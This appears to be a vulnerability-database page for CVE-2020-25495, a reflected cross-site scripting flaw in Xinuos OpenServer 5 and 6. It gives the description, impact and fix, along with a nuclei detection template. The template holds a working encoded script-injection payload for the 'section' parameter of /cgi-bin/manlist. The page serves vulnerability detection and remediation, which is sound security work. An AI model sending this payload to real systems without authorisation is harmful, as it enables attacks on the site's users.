HexBrain

Browse / CVEs / CVE-2020-25495

CVE-2020-25495· xinuos / openserver· CWE-79

Xinuo Openserver 5/6 - Cross-Site scripting

mediumseverity
6.1CVSS score
9%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Xinuo (formerly SCO) Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section' and is vulnerable to reflected cross-site scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts or steal sensitive information from users.

Fix

Apply the latest security patches or updates provided by Xinuo to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/{{randstr}}/)%3C%2Fscript%3E
Positive when: contains "<h1>hello</h1><script>alert(/{{randstr}}/)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-25495 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-25495

info:
  name: Xinuo Openserver 5/6 - Cross-Site scripting
  author: 0x_Akoko
  severity: medium
  description: Xinuo (formerly SCO) Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section' and is vulnerable to reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts or steal sensitive information from users.
  remediation: |
    Apply the latest security patches or updates provided by Xinuo to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49300
    - https://github.com/Ramikan/Vulnerabilities/blob/master/SCO%20Openserver%20XSS%20%26%20HTML%20Injection%20vulnerability
    - http://packetstormsecurity.com/files/160634/SCO-Openserver-5.0.7-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25495
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25495
    cwe-id: CWE-79
    epss-score: 0.08981
    epss-percentile: 0.95305
    cpe: cpe:2.3:a:xinuos:openserver:5.0.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xinuos
    product: openserver
  tags: cve2020,cve,sco,xss,edb,packetstorm,intrusive,xinuos,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/{{randstr}}/)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <h1>hello</h1><script>alert(/{{randstr}}/)</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from